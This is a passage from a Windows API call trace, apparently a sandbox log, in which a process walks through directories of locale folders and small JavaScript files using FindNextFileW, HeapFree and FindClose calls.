cAlternateFileName="")) returned 0 [0187.321] FindClose (in: hFindFile=0x4121248 | out: hFindFile=0x4121248) returned 1 [0187.321] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.323] FindNextFileW (in: hFindFile=0x4121208, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.js", cAlternateFileName="")) returned 1 [0187.489] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.489] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0187.490] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.490] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0187.490] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.490] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0187.490] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.490] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0187.490] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.490] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0187.491] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.491] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0187.491] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.491] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0187.491] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.491] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0187.491] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.491] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0187.491] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.491] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0187.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.492] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0187.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.492] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0187.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.492] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0187.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.492] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0187.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.493] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0187.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.493] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0187.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.493] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0187.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.493] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0187.494] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.494] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0187.494] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.494] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0187.494] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.494] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0187.495] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.495] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0187.495] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.496] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0187.497] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.497] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0187.497] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.497] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0187.498] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.498] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0187.499] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.499] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0187.500] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.500] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0187.500] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.500] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0187.500] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.500] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0187.501] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.501] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0187.502] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.502] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0187.502] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.502] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0187.503] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.503] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0187.503] FindClose (in: hFindFile=0x4121648 | out: hFindFile=0x4121648) returned 1 [0187.503] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.503] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0187.503] FindClose (in: hFindFile=0x41213c8 | out: hFindFile=0x41213c8) returned 1 [0187.503] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0187.503] FindNextFileW (in: hFindFile=0x4120fc8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0187.503] FindClose (in: hFindFile=0x4120fc8 | out: hFindFile=0x4120fc8) returned 1 [0187.503] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.505] FindNextFileW (in: hFindFile=0x4121208, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0187.507] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.507] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 0 [0187.507] FindClose (in: hFindFile=0x4121288 | out: hFindFile=0x4121288) returned 